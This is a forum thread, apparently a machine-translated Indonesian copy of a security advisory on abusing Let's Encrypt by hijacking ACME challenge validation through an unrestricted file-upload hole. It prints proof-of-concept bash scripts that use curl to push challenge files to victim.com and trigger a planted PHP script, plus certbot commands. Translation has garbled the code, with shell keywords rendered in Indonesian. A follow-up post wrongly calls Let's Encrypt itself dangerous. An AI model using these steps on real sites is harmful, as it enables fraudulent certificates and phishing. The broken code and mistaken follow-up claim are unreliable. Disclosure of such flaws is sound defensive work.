Sponsor:

Server and Web Integrator
Link:
Kloxo-MR logo
6.5.0 or 7.0.0
Click for "How to install"
Donation/Sponsorship:
Kloxo-MR is open-source.
Donate and or Sponsorship always welcome.
Click to:
Click Here
Please login or register. 2024-03-19, 07:00:02

Author Topic: Chaining Remote Web Vulnerabilities to Abuse Let's Encrypt  (Read 16110 times)

0 Members and 1 Guest are viewing this topic.

Offline Miki

  • Senior Member
  • *
  • Posts: 183
  • Karma: +0/-0
    • View Profile
1. Ikhtisar

Let's Encrypt dapat diakali dengan mengeluarkan sertifikat SSL ke remote
penyerang dengan membajak tantangan ACME melalui eksploitasi jarak jauh yang mungkin
ada di situs web korban.


2. Detail

The Let's Encrypt Certificate Authority dapat disalahgunakan untuk mengeluarkan SSL
sertifikat untuk penyerang, dengan memanfaatkan berbagai remote
teknik eksploitasi yang membajak rutinitas validasi tantangan ACME.
Dalam setiap skenario yang disajikan, sertifikat diminta dan diberikan pada a
mesin remote dikendalikan oleh penyerang. Mari Enkripsi utilitas (seperti
certbot) tidak perlu dipasang di server yang menghosting situs web korban.

Beberapa skenario serangan disajikan:
1) Memanfaatkan kerentanan pengunggahan file tak terbatas di situs web korban
2) Memanfaatkan izin miskin dalam lingkungan hosting bersama
3) Memanfaatkan serangan Man In the Middle (MITM) untuk mengubah lalu lintas jaringan
4) Memanfaatkan proxy berbahaya untuk mengubah lalu lintas HTTP

Setiap skenario membutuhkan kerentanan jarak jauh untuk ada di situs web korban
atau lingkungan yang dihosting; namun, dengan menambahkan pengamanan tambahan, Let's Encrypt
dapat mencegah sertifikat palsu dikeluarkan untuk penyerang.


3. Dampak

Penyerang yang mendapatkan sertifikat SSL yang valid untuk situs web korban dapat menggunakannya
kepada pengunjung situs web phishing.

Jika penyerang dapat: 1) menipu pengunjung agar menggunakan server DNS berbahaya
atau 2) menggunakan serangan tingkat jaringan seperti keracunan ARP cache untuk mengalihkan DNS
permintaan ke server web palsu, pengunjung akan dikirim ke kloning
situs web, menggunakan nama domain yang sama, dengan sertifikat SSL yang valid, memaksimalkan
keberhasilan kampanye phishing.


4. Eksploitasi

Eksploitasi untuk skenario pengunggahan file tidak terbatas disediakan, dan
menunjukkan bagaimana validasi tantangan ACME dapat dibajak. Yang lain
Skenario serangan dijelaskan dalam istilah teoritis dan diyakini
dieksploitasi karena masing-masing membajak validasi tantangan ACME.


4a. Exploit - Proof of Concept (Pengunggahan File Tidak Terbatas)

Dalam skenario berikut ini, kami menemukan situs web korban yang mencakup
kerentanan jarak jauh, yang memungkinkan pengunggahan file tanpa batas dan nyaman
(dan tidak realistis) memindahkan file langsung ke .well-known / acme-challenge
direktori. Meskipun skenario ini kemungkinan tidak akan pernah terjadi, ini menunjukkan hal itu
tantangan ACME dapat dihasilkan pada mesin jarak jauh dan untuk sementara ditempatkan
situs web korban untuk memvalidasi tantangan. Sertifikat ini kemudian diterbitkan
mesin penyerang.

    # Script Rentan: http://victim.com/le-receive.php
    # Remote penyerang menggunakan skrip berikut: lt-waitsend.sh

    #! / bin / bash

    FAKEWEBROOT = / tmp / fake / .well-known / acme-challenge

    # Terus periksa apakah certbot telah menghasilkan tantangan ACME
    # dan unggah ke korban segera setelah tersedia
    sampai [-f $ {FAKEWEBROOT} / *]
    melakukan
      tidur 0,1
    selesai
    lefile = `ls -1 $ {FAKEWEBROOT} / *`
    echo "Ditemukan $ {lefile}"
    curl -i -X ??POST -H "Content-Type: multipart / form-data"
        -F "data = @ $ {lefile}" http://victim.com/le-receive.php
    keluar


    # Remote penyerang mengeksekusi yang berikut:

    ~ $ ./lt-waitsend.sh
    ~ $ ./certbot-auto certonly --staging --no-self-upgrade
        --webroot -w / tmp / fake -d victim.com


4b. Exploit - Skenario Realistis (Pengunggahan File Tidak Terbatas)

Skenario yang lebih realistis disajikan di mana victim.com menyertakan skrip yang
memungkinkan pengunggahan file tidak terbatas dan webroot dimiliki oleh pengguna apache.

    # Script Rentan: http://victim.com/le-receive2.php:
    # Penyerang mengunggah skrip berikut (le-create.php) ke victim.com melalui
    # Kerentanan jarak jauh. Skrip akan menunggu tantangan ACME
    # Diunggah melalui kerentanan jarak jauh dan memindahkannya ke lokasi yang benar

    # Penyerang memanfaatkan skrip berikut untuk menghasilkan sertifikat dan
    # memindahkannya ke tempatnya: lt-waitsend.sh

    #! / bin / bash

    FAKEWEBROOT = / tmp / fake / .well-known / acme-challenge

    sampai [-f $ {FAKEWEBROOT} / *]
    melakukan
        tidur 0,1
    selesai
    lefile = `ls -1 $ {FAKEWEBROOT} / *`
    echo "Ditemukan $ {lefile}"
    curl -i -X ??POST -H "Content-Type: multipart / form-data"
        -F "data = @ $ {lefile}" http://victim.com/le-receive.php
    curl http://victim.com/temp/le-create.php
    keluar

    # Remote penyerang mengeksekusi yang berikut:
    ~ $ ./lt-waitsend.sh
    ~ $ ./certbot-auto certonly --staging --no-self-upgrade
         --webroot -w / tmp / fake -d victim.com

    # Pada titik ini penyerang dapat membersihkan file jauh untuk tidak meninggalkan jejak.


4c. Eksploitasi Diskusi

Eksploitasi di atas menunjukkan bahwa tantangan ACME dapat dihasilkan pada a
mesin penyerang jarak jauh dan ditransfer sementara ke mesin korban
melalui kerentanan jarak jauh, memungkinkan tantangan untuk divalidasi dan
mengeluarkan sertifikat kepada penyerang.

Demikian juga, lingkungan hosting bersama yang tidak dikonfigurasi dengan baik dapat menyajikan
masalah yang sama. Misalnya jika dua situs web di server yang sama keduanya memiliki webroots
dimiliki oleh apache: apac
"the freedom speak is expression to exchange knowledge"

Offline Miki

  • Senior Member
  • *
  • Posts: 183
  • Karma: +0/-0
    • View Profile
Re: Chaining Remote Web Vulnerabilities to Abuse Let's Encrypt
« Reply #1 on: 2018-05-30, 13:52:09 »
Beberapa kali saya merasakan ada yang aneh dengan SSL Jenis Let's Encrypt, domain yang dipasang Let's Encrypt ini tiba-tiba meredirek ke alamat ip dan membuat heboh.

Bagimana ini bisa terjadi ?

Berdasarkan hasil penelusuran menyatakan bahwa Let's Encrypt ini berbahaya, ada indikasi attacker executes pada domain.tld kerena pengunjung sudah menyimpan auto redirek pada domain ke SLL, maka hanya tinggal menunggu waktu untuk meng Exploit domainnya.

Bagaimana cara mengebalikan atau memulihkan kembali domain yang sudah terpasang SSL menjadi non SSL dan menghapus  sertifikat di seluruh pengujung agar tidak menggunakan jalur SSL?
"the freedom speak is expression to exchange knowledge"

 


MRatWork Affiliates:    BIGRAF(R) Inc.    House of LMAR    EFARgrafix
Click Here

Page created in 0.054 seconds with 18 queries.

web stats analysis